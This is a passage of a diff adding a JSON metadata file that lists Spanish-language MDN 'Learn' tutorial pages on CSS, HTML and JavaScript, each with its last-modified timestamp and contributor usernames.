+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC",
+      "laatcode",
+      "joseanpg"
+    ]
+  },
+  "Learn/CSS/Styling_text/Styling_links": {
+    "modified": "2020-09-18T08:20:17.759Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC",
+      "Tull666"
+    ]
+  },
+  "Learn/CSS/Styling_text/Styling_lists": {
+    "modified": "2020-09-01T06:14:44.024Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC",
+      "MARKO75",
+      "Tull666",
+      "laatcode",
+      "jmcavanzo"
+    ]
+  },
+  "Learn/CSS/Sábercomo": {
+    "modified": "2020-07-16T22:25:42.139Z",
+    "contributors": [
+      "alebarbaja",
+      "abestrad1"
+    ]
+  },
+  "Learn/CSS/Sábercomo/Generated_content": {
+    "modified": "2020-07-16T22:25:47.515Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Juansereina",
+      "lavilofam1"
+    ]
+  },
+  "Learn/Common_questions": {
+    "modified": "2020-07-16T22:35:23.102Z",
+    "contributors": [
+      "eduardo-estrada",
+      "balderasric",
+      "soedrego",
+      "astrapotro",
+      "Miguelank",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/Common_questions/Cuanto_cuesta": {
+    "modified": "2020-07-16T22:35:45.385Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes"
+    ]
+  },
+  "Learn/Common_questions/How_does_the_Internet_work": {
+    "modified": "2020-09-07T00:56:10.834Z",
+    "contributors": [
+      "IsraFloores",
+      "Pau_Vera_S",
+      "Yel-Martinez-Consultor-Seo",
+      "Creasick",
+      "Tan_",
+      "punkyh",
+      "krthr",
+      "DaniNz"
+    ]
+  },
+  "Learn/Common_questions/Pages_sites_servers_and_search_engines": {
+    "modified": "2020-07-16T22:35:39.645Z",
+    "contributors": [
+      "benelliraul",
+      "MarcosN",
+      "DaniNz"
+    ]
+  },
+  "Learn/Common_questions/Que_es_un_servidor_WEB": {
+    "modified": "2020-10-27T18:34:43.608Z",
+    "contributors": [
+      "noksenberg",
+      "Yel-Martinez-Consultor-Seo",
+      "Spectrum369",
+      "Luisk955",
+      "Sebaspaco",
+      "flaki53",
+      "welm"
+    ]
+  },
+  "Learn/Common_questions/Que_software_necesito": {
+    "modified": "2020-07-16T22:35:32.855Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes"
+    ]
+  },
+  "Learn/Common_questions/Qué_es_una_URL": {
+    "modified": "2020-07-16T22:35:29.126Z",
+    "contributors": [
+      "ezzep66",
+      "BubuAnabelas"
+    ]
+  },
+  "Learn/Common_questions/Thinking_before_coding": {
+    "modified": "2020-07-16T22:35:34.085Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes",
+      "LourFabiM",
+      "DaniNz"
+    ]
+  },
+  "Learn/Common_questions/What_are_browser_developer_tools": {
+    "modified": "2020-09-13T07:49:07.373Z",
+    "contributors": [
+      "rockoldo",
+      "IsraFloores",
+      "Nachec",
+      "John19D",
+      "DaniNz"
+    ]
+  },
+  "Learn/Common_questions/What_are_hyperlinks": {
+    "modified": "2020-07-16T22:35:42.995Z",
+    "contributors": [
+      "ezzep66"
+    ]
+  },
+  "Learn/Common_questions/What_is_a_domain_name": {
+    "modified": "2020-07-16T22:35:43.888Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes",
+      "hmendezm90"
+    ]
+  },
+  "Learn/Common_questions/diseños_web_comunes": {
+    "modified": "2020-07-16T22:35:42.298Z",
+    "contributors": [
+      "Beatriz_Ortega_Valdes"
+    ]
+  },
+  "Learn/Common_questions/set_up_a_local_testing_server": {
+    "modified": "2020-07-16T22:35:52.759Z",
+    "contributors": [
+      "rjpu24",
+      "iseafa",
+      "DaniNz"
+    ]
+  },
+  "Learn/Como_Contribuir": {
+    "modified": "2020-07-16T22:33:43.206Z",
+    "contributors": [
+      "SphinxKnight",
+      "Code118",
+      "dervys19",
+      "javierdelpino",
+      "axgeon",
+      "Leonardo_Valdez",
+      "cgsramirez"
+    ]
+  },
+  "Learn/Desarrollo_web_Front-end": {
+    "modified": "2020-11-18T03:33:37.370Z",
+    "contributors": [
+      "SphinxKnight",
+      "marquezpedro151",
+      "andresf.duran",
+      "Nachec"
+    ]
+  },
+  "Learn/Getting_started_with_the_web": {
+    "modified": "2020-09-22T16:37:42.904Z",
+    "contributors": [
+      "Nachec",
+      "IsraFloores",
+      "Enesimus",
+      "rodririobo",
+      "escalant3",
+      "jimmypazos",
+      "ingridc",
+      "hamfree",
+      "npcsayfail",
+      "BrodaNoel",
+      "israel-munoz",
+      "Da_igual",
+      "welm",
+      "Diio",
+      "darbalma",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/CSS_basics": {
+    "modified": "2020-11-10T20:04:05.272Z",
+    "contributors": [
+      "rockoldo",
+      "Maose",
+      "JaviGonLope",
+      "hamfree",
+      "juanluis",
+      "montygabe",
+      "mamptecnocrata",
+      "juanqui",
+      "welm"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Cómo_funciona_la_Web": {
+    "modified": "2020-07-16T22:33:59.672Z",
+    "contributors": [
+      "Enesimus",
+      "Maose",
+      "rulo_diaz",
+      "SphinxKnight"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/HTML_basics": {
+    "modified": "2020-11-08T05:08:38.542Z",
+    "contributors": [
+      "SphinxKnight",
+      "cesarmolina.sdb",
+      "egonzalez",
+      "Maose",
+      "Axes",
+      "NataliaCba",
+      "Armando-Cruz",
+      "hamfree",
+      "BrodaNoel",
+      "PhantomDemon",
+      "DaniNz",
+      "SandraMoreH",
+      "HeberRojo",
+      "welm",
+      "JoaquinBedoian",
+      "Huarseral"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Instalacion_de_software_basico": {
+    "modified": "2020-11-10T01:28:22.294Z",
+    "contributors": [
+      "rockoldo",
+      "Nachec",
+      "Maose",
+      "Anyito",
+      "ingridc",
+      "Enesimus",
+      "israel-munoz",
+      "Neto2412",
+      "AngelFQC",
+      "mads0306",
+      "Da_igual",
+      "Chrixos",
+      "darbalma"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/JavaScript_basics": {
+    "modified": "2020-08-17T06:23:11.691Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "Maose",
+      "John19D",
+      "yavemu",
+      "pablopennisi",
+      "Sergio_Gonzalez_Collado",
+      "hamfree",
+      "Bluterg",
+      "jpmontoya182",
+      "sillo01",
+      "lfrasae",
+      "bartolocarrasco",
+      "nhuamani",
+      "ricardormeza",
+      "fcojgodoy",
+      "soulminato",
+      "chech",
+      "juanqui",
+      "RaulHernandez",
+      "joelomar",
+      "welm",
+      "derplak",
+      "sin_nombre365",
+      "germanfr",
+      "cgsramirez",
+      "nekludov"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/La_web_y_los_estandares_web": {
+    "modified": "2020-09-03T04:02:22.375Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Manejando_los_archivos": {
+    "modified": "2020-09-23T03:12:43.364Z",
+    "contributors": [
+      "Nachec",
+      "chrisdavidmills",
+      "NavetsArev",
+      "Maose",
+      "airmind97",
+      "hamfree",
+      "israel-munoz",
+      "GuilleMiranda",
+      "merol-dad",
+      "samshara1",
+      "mads0306",
+      "mamptecnocrata",
+      "Huarseral",
+      "diazwatson"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/Publishing_your_website": {
+    "modified": "2020-11-11T14:35:28.910Z",
+    "contributors": [
+      "Yuunichi",
+      "Maose",
+      "IrwinAcosta",
+      "rjpu24",
+      "ingridc",
+      "binariosistemas",
+      "emermao",
+      "Michelangeur",
+      "javierdelpino",
+      "krthr",
+      "DaniNz",
+      "Rivo23",
+      "alexguerrero",
+      "MaurooRen",
+      "Da_igual",
+      "welm",
+      "Yadira"
+    ]
+  },
+  "Learn/Getting_started_with_the_web/What_will_your_website_look_like": {
+    "modified": "2020-09-22T18:59:15.940Z",
+    "contributors": [
+      "Nachec",
+      "Maose",
+      "jimmy_ml",
+      "NataliaCba",
+      "vact",
+      "israel-munoz",
+      "DaniNz",
+      "7eacemaker",
+      "mads0306",
+      "Da_igual",
+      "Davixe",
+      "Chrixos",
+      "diazwatson",
+      "omar.fiscal"
+    ]
+  },
+  "Learn/HTML": {
+    "modified": "2020-09-09T07:22:36.336Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "mppfiles",
+      "titox",
+      "patoezequiel",
+      "mitodamabra",
+      "crispragmatico",
+      "chancherokerido",
+      "Athene2RM",
+      "Alejandra.B",
+      "welm",
+      "jpazos"
+    ]
+  },
+  "Learn/HTML/Forms": {
+    "modified": "2020-07-16T22:20:56.050Z",
+    "contributors": [
+      "xyvs",
+      "mikiangel10",
+      "chrisdavidmills",
+      "eljonims",
+      "sjmiles"
+    ]
+  },
+  "Learn/HTML/Forms/How_to_structure_an_HTML_form": {
+    "modified": "2020-09-18T11:13:13.645Z",
+    "contributors": [
+      "UOCccorcoles",
+      "UOCjcanovasi",
+      "editorUOC",
+      "chrisdavidmills",
+      "eljonims"
+    ]
+  },
+  "Learn/HTML/Forms/Property_compatibility_table_for_form_controls": {
+    "modified": "2020-08-30T01:12:52.090Z",
+    "contributors": [
+      "edchasw"
+    ]
+  },
+  "Learn/HTML/Forms/Prueba_tus_habilidades:_Otros_controles": {
+    "modified": "2020-07-16T22:22:12.140Z",
+    "contributors": [
+      "Enesimus"
+    ]
+  },
+  "Learn/HTML/Forms/Prueba_tus_habilidades:_controles_HTML5": {
+    "modified": "2020-07-16T22:22:11.445Z",
+    "contributors": [
+      "Enesimus"
+    ]
+  },
+  "Learn/HTML/Forms/Sending_and_retrieving_form_data": {
+    "modified": "2020-07-16T22:21:26.056Z",
+    "contributors": [
+      "Rafasu",
+      "rocioDEV",
+      "MrGreen",
+      "OseChez",
+      "DaniNz",
+      "peternerd",
+      "SphinxKnight",
+      "chrisdavidmills",
+      "Ricky_Lomax"
+    ]
+  },
+  "Learn/HTML/Forms/Styling_HTML_forms": {
+    "modified": "2020-07-16T22:21:30.546Z",
+    "contributors": [
+      "OMEGAYALFA",
+      "chrisdavidmills",
+      "cizquierdof"
+    ]
+  },
+  "Learn/HTML/Forms/The_native_form_widgets": {
+    "modified": "2020-09-15T08:02:23.197Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC",
+      "rayrojas"
+    ]
+  },
+  "Learn/HTML/Forms/Tipos_input_HTML5": {
+    "modified": "2020-10-30T10:06:35.877Z",
+    "contributors": [
+      "alejandro0619",
+      "panpy-web"
+    ]
+  },
+  "Learn/HTML/Forms/Validacion_formulario_datos": {
+    "modified": "2020-11-19T13:12:47.854Z",
+    "contributors": [
+      "tcebrian",
+      "UOCccorcoles",
+      "UOCjcanovasi",
+      "editorUOC",
+      "blanchart",
+      "israel-munoz"
+    ]
+  },
+  "Learn/HTML/Forms/Your_first_HTML_form": {
+    "modified": "2020-09-15T05:57:07.460Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC",
+      "BraisOliveira",
+      "OMEGAYALFA",
+      "OrlandoDeJesusCuxinYama",
+      "Giikah",
+      "chrisdavidmills",
+      "HGARZON"
+    ]
+  },
+  "Learn/HTML/Forms/como_crear_widgets_de_formularios_personalizados": {
+    "modified": "2020-07-16T22:21:55.231Z",
+    "contributors": [
+      "laatcode"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML": {
+    "modified": "2020-09-03T05:18:15.831Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "ivanagui2",
+      "Sergio_Gonzalez_Collado",
+      "cizquierdof",
+      "AngelFQC"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Advanced_text_formatting": {
+    "modified": "2020-09-05T21:21:55.228Z",
+    "contributors": [
+      "Nachec",
+      "UOCccorcoles",
+      "Enesimus",
+      "jmalsar",
+      "editorUOC",
+      "RG52",
+      "luchiano199",
+      "AlieYin"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks": {
+    "modified": "2020-09-05T04:27:29.218Z",
+    "contributors": [
+      "Nachec",
+      "UOCccorcoles",
+      "juan.grred",
+      "Enesimus",
+      "jmalsar",
+      "blanchart",
+      "editorUOC",
+      "Myuel",
+      "MichaelMejiaMora",
+      "ferlopezcarr",
+      "javierpolit"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Debugging_HTML": {
+    "modified": "2020-08-31T12:17:08.843Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC",
+      "javierpolit"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Estructuración_de_una_página_de_contenido": {
+    "modified": "2020-07-16T22:24:18.388Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Marking_up_a_letter": {
+    "modified": "2020-07-16T22:23:11.881Z",
+    "contributors": [
+      "jmalsar",
+      "luchiano199",
+      "javierpolit"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Metados_en": {
+    "modified": "2020-11-07T18:07:55.376Z",
+    "contributors": [
+      "nilo15",
+      "Nachec",
+      "UOCccorcoles",
+      "ccorcoles",
+      "editorUOC",
+      "hector080",
+      "clarii",
+      "Myuel",
+      "dmipaguirre",
+      "Armando-Cruz",
+      "MichaelMejiaMora",
+      "soedrego",
+      "absaucedo",
+      "venomdj2011",
+      "CarlosJose"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Prueba_tus_habilidades:_Enlaces": {
+    "modified": "2020-07-16T22:24:22.922Z",
+    "contributors": [
+      "Enesimus"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Prueba_tus_habilidades:_Texto_básico_HTML": {
+    "modified": "2020-07-16T22:24:21.949Z",
+    "contributors": [
+      "Enesimus"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/Test_your_skills:_Advanced_HTML_text": {
+    "modified": "2020-09-05T23:06:12.474Z",
+    "contributors": [
+      "walter.boba79"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/estructura": {
+    "modified": "2020-09-06T16:55:31.460Z",
+    "contributors": [
+      "Nachec",
+      "UOCccorcoles",
+      "editorUOC",
+      "chaerf",
+      "AlidaContreras",
+      "javierpolit",
+      "SoftwareRVG",
+      "welm"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/iniciar": {
+    "modified": "2020-11-24T21:57:47.560Z",
+    "contributors": [
+      "nilo15",
+      "Nachec",
+      "UOCccorcoles",
+      "maodecolombia",
+      "Enesimus",
+      "editorUOC",
+      "narvmtz",
+      "dmipaguirre",
+      "BubuAnabelas",
+      "marlabarbz",
+      "erllanosr",
+      "r2fv",
+      "jonasmreza",
+      "Cjpertuz",
+      "yan-vega",
+      "Armando-Cruz",
+      "felixgomez",
+      "olvap",
+      "emermao",
+      "soedrego",
+      "Abihu",
+      "mitocondriaco",
+      "nahuelsotelo",
+      "dayamll",
+      "JimP99",
+      "EdwinTorres",
+      "salvarez1988",
+      "cizquierdof",
+      "juanluis",
+      "welm"
+    ]
+  },
+  "Learn/HTML/Introduccion_a_HTML/texto": {
+    "modified": "2020-09-04T15:00:09.675Z",
+    "contributors": [
+      "Nachec",
+      "UOCccorcoles",
+      "Enesimus",
+      "Maose",
+      "ccorcoles",
+      "editorUOC",
+      "hector080",
+      "JulianMahecha",
+      "BubuAnabelas",
+      "RafaelVentura",
+      "jadiosc",
+      "dcarmal-dayvo",
+      "Owildfox",
+      "Myuel",
+      "dmipaguirre",
+      "Dany07",
+      "welm"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding": {
+    "modified": "2020-08-08T01:15:36.731Z",
+    "contributors": [
+      "Nachec",
+      "Loba25",
+      "emibena75",
+      "tomandech",
+      "rayrojas",
+      "SphinxKnight",
+      "rickygutim",
+      "luchiano199",
+      "jonasmreza",
+      "vHarz",
+      "hell0h0la",
+      "J0rgeMG",
+      "yarochewsky"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web": {
+    "modified": "2020-08-13T15:11:41.992Z",
+    "contributors": [
+      "JuanMejia"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Images_in_HTML": {
+    "modified": "2020-09-01T08:06:52.329Z",
+    "contributors": [
+      "UOCccorcoles",
+      "jmalsar",
+      "editorUOC",
+      "ccorcoles",
+      "acvidelaa",
+      "BubuAnabelas",
+      "Alpha3-Developer",
+      "Makinita",
+      "Parziva_1",
+      "luchiano199",
+      "calvearc",
+      "soedrego",
+      "JuniorBO",
+      "JoseCuestas"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page": {
+    "modified": "2020-07-16T22:25:06.606Z",
+    "contributors": [
+      "Loba25",
+      "henardemiguel"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies": {
+    "modified": "2020-07-16T22:25:00.943Z",
+    "contributors": [
+      "Ismael_Diaz",
+      "cinthylli",
+      "duduindo",
+      "soedrego",
+      "luchiano199",
+      "SphinxKnight",
+      "dylanroman03"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Responsive_images": {
+    "modified": "2020-11-02T15:27:00.386Z",
+    "contributors": [
+      "Daniel_Martin",
+      "LuisCA",
+      "baumannzone",
+      "JuanMejia",
+      "lucasan",
+      "pipe01",
+      "sebaLinares",
+      "kuntur-studio",
+      "iiegor",
+      "malonson",
+      "javierarcheni",
+      "alexuy51",
+      "SigridMonsalve",
+      "arnoldobr",
+      "anfuca"
+    ]
+  },
+  "Learn/HTML/Multimedia_and_embedding/Video_and_audio_content": {
+    "modified": "2020-12-07T13:00:58.885Z",
+    "contributors": [
+      "occu29",
+      "Leiner.lop",
+      "pabdani",
+      "Enesimus",
+      "soedrego",
+      "jesusgirao",
+      "acvidelaa",
+      "rayrojas"
+    ]
+  },
+  "Learn/HTML/Tablas": {
+    "modified": "2020-07-16T22:25:11.000Z",
+    "contributors": [
+      "Drathveloper",
+      "IXTRUnai"
+    ]
+  },
+  "Learn/HTML/Tablas/Conceptos_básicos_de_las_tablas_HTML": {
+    "modified": "2020-09-09T11:52:38.720Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/HTML/Tablas/Funciones_avanzadas_de_las_tablas_HTML_y_accesibilidad": {
+    "modified": "2020-09-14T06:33:13.790Z",
+    "contributors": [
+      "UOCccorcoles",
+      "editorUOC"
+    ]
+  },
+  "Learn/HTML/Tablas/Structuring_planet_data": {
+    "modified": "2020-07-16T22:25:29.339Z",
+    "contributors": [
+      "IXTRUnai"
+    ]
+  },
+  "Learn/HTML/como": {
+    "modified": "2020-07-16T22:22:28.075Z",
+    "contributors": [
+      "Loba25",
+      "blanchart",
+      "welm"
+    ]
+  },
+  "Learn/HTML/como/Usando_atributos_de_datos": {
+    "modified": "2020-10-29T15:52:03.444Z",
+    "contributors": [
+      "angeljpa95",
+      "camsa",
+      "laatcode"
+    ]
+  },
+  "Learn/Herramientas_y_pruebas": {
+    "modified": "2020-07-16T22:38:54.378Z",
+    "contributors": [
+      "WilsonIsAliveClone",
+      "carlosgocereceda",
+      "mikelmg"
+    ]
+  },
+  "Learn/Herramientas_y_pruebas/Cross_browser_testing": {
+    "modified": "2020-07-16T22:38:59.665Z",
+    "contributors": [
+      "arnoldobr"
+    ]
+  },
+  "Learn/Herramientas_y_pruebas/GitHub": {
+    "modified": "2020-10-01T17:01:32.394Z",
+    "contributors": [
+      "IsraFloores",
+      "Nachec"
+    ]
+  },
+  "Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks": {
+    "modified": "2020-08-22T19:34:32.519Z",
+    "contributors": [
+      "spaceinvadev",
+      "jhonarielgj"
+    ]
+  },
+  "Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks/React_getting_started": {
+    "modified": "2020-08-22T19:52:35.580Z",
+    "contributors": [
+      "spaceinvadev"
+    ]
+  },
+  "Learn/Herramientas_y_pruebas/Lado-del-cliente_JavaScript_frameworks/Vue_primeros_pasos": {
+    "modified": "2020-09-17T18:53:24.146Z",
+    "contributors": [
+      "Faem0220"
+    ]
+  },
+  "Learn/Herramientas_y_pruebas/Understanding_client-side_tools": {
+    "modified": "2020-07-28T15:51:57.413Z",
+    "contributors": [
+      "b3m3bi"
+    ]
+  },
+  "Learn/JavaScript": {
+    "modified": "2020-08-08T12:13:32.547Z",
+    "contributors": [
+      "Nachec",
+      "chrisdavidmills",
+      "NavetsArev",
+      "ivanagui2",
+      "Makinita",
+      "hamfree",
+      "tonymedrano",
+      "0sc4rR4v3l0"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous": {
+    "modified": "2020-08-07T20:26:22.020Z",
+    "contributors": [
+      "Nachec",
+      "PatoDeTuring",
+      "duduindo",
+      "madmaxdios"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous/Async_await": {
+    "modified": "2020-11-12T21:09:30.375Z",
+    "contributors": [
+      "sargentogato",
+      "oscartzgz",
+      "SphinxKnight"
+    ]
+  },
+  "Learn/JavaScript/Asynchronous/Concepts": {
+    "modified": "2020-11-19T20:30:13.091Z",
+    "contributors": [
+      "AndresSalomon1990",
+      "marcusdesantis"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks": {
+    "modified": "2020-07-17T01:46:33.034Z",
+    "contributors": [
+      "Enesimus",
+      "InmobAli",
+      "rodririobo",
+      "josecampo",
+      "ivanagui2",
+      "ldeth",
+      "Makinita",
+      "jhonattanbenitez",
+      "Sergio_Gonzalez_Collado",
+      "Michelangeur",
+      "Elicar",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Bucle_codigo": {
+    "modified": "2020-10-10T18:54:10.014Z",
+    "contributors": [
+      "GianGuerra",
+      "Enesimus",
+      "josecampo",
+      "jesusvillalta",
+      "yohanolmedo",
+      "Zenchy",
+      "SebastianMaciel"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Construyendo_tu_propia_funcion": {
+    "modified": "2020-07-16T22:31:28.751Z",
+    "contributors": [
+      "InmobAli",
+      "serarroy",
+      "carlosgocereceda"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Eventos": {
+    "modified": "2020-07-16T22:31:37.027Z",
+    "contributors": [
+      "jhonarielgj",
+      "sebastiananea",
+      "maximilianotulian",
+      "ismamz"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Functions": {
+    "modified": "2020-10-10T22:09:39.322Z",
+    "contributors": [
+      "GianGuerra",
+      "pmusetti",
+      "pablorebora",
+      "blanchart",
+      "Alessa",
+      "DanielAgustinTradito"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Galeria_de_imagenes": {
+    "modified": "2020-07-16T22:31:42.753Z",
+    "contributors": [
+      "amIsmael"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/Return_values": {
+    "modified": "2020-07-17T01:43:24.262Z",
+    "contributors": [
+      "Enesimus",
+      "EnekoOdoo"
+    ]
+  },
+  "Learn/JavaScript/Building_blocks/conditionals": {
+    "modified": "2020-11-28T22:20:55.059Z",
+    "contributors": [
+      "willian593",
+      "Enesimus",
+      "InmobAli",
+      "BorisQF",
+      "markosaav",
+      "Atabord",
+      "jhonattanbenitez"
+    ]
+  },
+  "Learn/JavaScript/Client-side_web_APIs": {
+    "modified": "2020-07-16T22:32:38.714Z",
+    "contributors": [
+      "rayrojas",
+      "FedeRacun",
+      "dvincent"
+    ]
+  },
+  "Learn/JavaScript/Client-side_web_APIs/Client-side_storage": {
+    "modified": "2020-09-22T05:14:27.901Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus"
+    ]
+  },
+  "Learn/JavaScript/Client-side_web_APIs/Fetching_data": {
+    "modified": "2020-07-16T22:32:57.121Z",
+    "contributors": [
+      "Dsabillon"
+    ]
+  },
+  "Learn/JavaScript/Client-side_web_APIs/Introducción": {
+    "modified": "2020-07-16T22:32:44.249Z",
+    "contributors": [
+      "robertsallent",
+      "gonzaa96",
+      "Usuario001",
+      "kevtinoco",
+      "Anonymous",
+      "OrlandoDeJesusCuxinYama"
+    ]
+  },
+  "Learn/JavaScript/First_steps": {
+    "modified": "2020-09-22T14:49:32.194Z",
+    "contributors": [
+      "Nachec",
+      "IsraFloores",
+      "mvuljevas",
+      "Mario-new",
+      "lalaggv2",
+      "rodrigocruz13",
+      "antonygiomarx",
+      "rickygutim",
+      "ivanagui2",
+      "EliasMCaja",
+      "Creasick",
+      "Aussith_9NT",
+      "sergioqa123",
+      "RayPL",
+      "ernestomr",
+      "eliud-c-delgado",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/JavaScript/First_steps/A_first_splash": {
+    "modified": "2020-08-09T09:51:52.684Z",
+    "contributors": [
+      "Nachec",
+      "zgreco2000",
+      "Enesimus",
+      "jacobo.delgado",
+      "xisco",
+      "Creasick",
+      "JaviMartain",
+      "Alfacoy",
+      "bosspetta",
+      "NataliaCba",
+      "arnaldop10",
+      "recortes",
+      "Darkiring",
+      "oscarkb24",
+      "roberbnd",
+      "joosemi02"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Arrays": {
+    "modified": "2020-07-16T22:30:53.191Z",
+    "contributors": [
+      "InmobAli",
+      "amIsmael",
+      "Creasick",
+      "DaniNz"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Generador_de_historias_absurdas": {
+    "modified": "2020-11-28T18:15:56.503Z",
+    "contributors": [
+      "willian593",
+      "Enesimus",
+      "fj1261",
+      "keskyle17",
+      "antqted"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Matemáticas": {
+    "modified": "2020-08-11T20:21:00.937Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "keskyle17",
+      "Creasick",
+      "Aussith_9NT",
+      "JaviMartain",
+      "guibetancur",
+      "domingoacd",
+      "jjpc"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Prueba_tus_habilidades:_Strings": {
+    "modified": "2020-08-11T12:16:57.685Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Qué_es_JavaScript": {
+    "modified": "2020-08-08T22:05:17.982Z",
+    "contributors": [
+      "Nachec",
+      "zgreco2000",
+      "jacobo.delgado",
+      "console",
+      "c9009",
+      "Creasick",
+      "bosspetta",
+      "alejoWeb",
+      "JorgeAML",
+      "eliud-c-delgado",
+      "roberbnd"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Strings": {
+    "modified": "2020-09-06T21:18:25.448Z",
+    "contributors": [
+      "brayan-orellanos",
+      "Nachec",
+      "Enesimus",
+      "keskyle17",
+      "wajari",
+      "Ale87GG",
+      "Creasick",
+      "malonson",
+      "punkcuadecuc"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Test_your_skills:_Math": {
+    "modified": "2020-10-27T13:03:04.825Z",
+    "contributors": [
+      "mediodepan",
+      "FabianBeltran96",
+      "syntaxter"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Test_your_skills:_variables": {
+    "modified": "2020-09-05T01:09:05.732Z",
+    "contributors": [
+      "FabianBeltran96",
+      "Nachec"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Useful_string_methods": {
+    "modified": "2020-10-19T12:56:16.453Z",
+    "contributors": [
+      "chrisdavidmills",
+      "yeyskalyn",
+      "Enesimus",
+      "Rtf747",
+      "InmobAli",
+      "keskyle17",
+      "enekate",
+      "Creasick",
+      "DaniNz"
+    ]
+  },
+  "Learn/JavaScript/First_steps/Variables": {
+    "modified": "2020-08-22T08:01:38.443Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "jacobo.delgado",
+      "pmusetti",
+      "keskyle17",
+      "amIsmael",
+      "enekate",
+      "xisco",
+      "Creasick",
+      "TheJarX",
+      "hchelbat",
+      "JaviMartain",
+      "Dhelarius"
+    ]
+  },
+  "Learn/JavaScript/First_steps/What_went_wrong": {
+    "modified": "2020-08-10T05:39:33.652Z",
+    "contributors": [
+      "Nachec",
+      "Enesimus",
+      "CarlesBou",
+      "enekate",
+      "amIsmael",
+      "xisco",
+      "mamjerez",
+      "Creasick",
+      "Alfacoy",
+      "NataliaCba",
+      "esencialinux"
+    ]
+  },
+  "Learn/JavaScript/Howto": {
+    "modified": "2020-07-16T22:33:09.029Z",
+    "contributors": [
+      "FelipeAndrade"
+    ]
+  },
+  "Learn/JavaScript/Objects": {
+    "modified": "2020-11-12T18:14:51.703Z",
+    "contributors": [
+      "alejandro.fca",
+      "pablojp",
+      "ivanagui2",
+      "clarii",
+      "Irwin1985",
+      "jsanpedror",
+      "blaipas",
+      "Tzikin100",
+      "edu1464",
+      "chrisdavidmills"
+    ]
+  },
+  "Learn/JavaScript/Objects/Adding_bouncing_balls_features": {
+    "modified": "2020-07-16T22:32:34.341Z",
+    "contributors": [
+      "Enesimus",
+      "serarroy",
+      "carlosgocereceda"
+    ]
+  },
+  "Learn/JavaScript/Objects/Basics": {
+    "modified": "2020-08-08T03:12:26.699Z",
+    "contributors": [
+      "Nachec",
+      "Fernando-Funes",
+      "pmusetti",
+      "ivanagui2",
+      "djdouta",
+      "seba2305",
+      "B1tF8er",
+      "kevin-loal98"
+    ]
+  },
+  "Learn/JavaScript/Objects/Ejercicio_práctico_de_construcción_de_objetos": {
+    "modified": "2020-07-16T22:32:30.877Z",
+    "contributors": [
+      "r-vasquez",
+      "rayrojas",
+      "luchiano199",
+      "Sergio_Gonzalez_Collado",
+      "pomarbar"
+    ]
+  },
+  "Learn/JavaScript/Objects/Inheritance": {
+    "modified": "2020-07-28T01:53:21.821Z",
+    "contributors": [
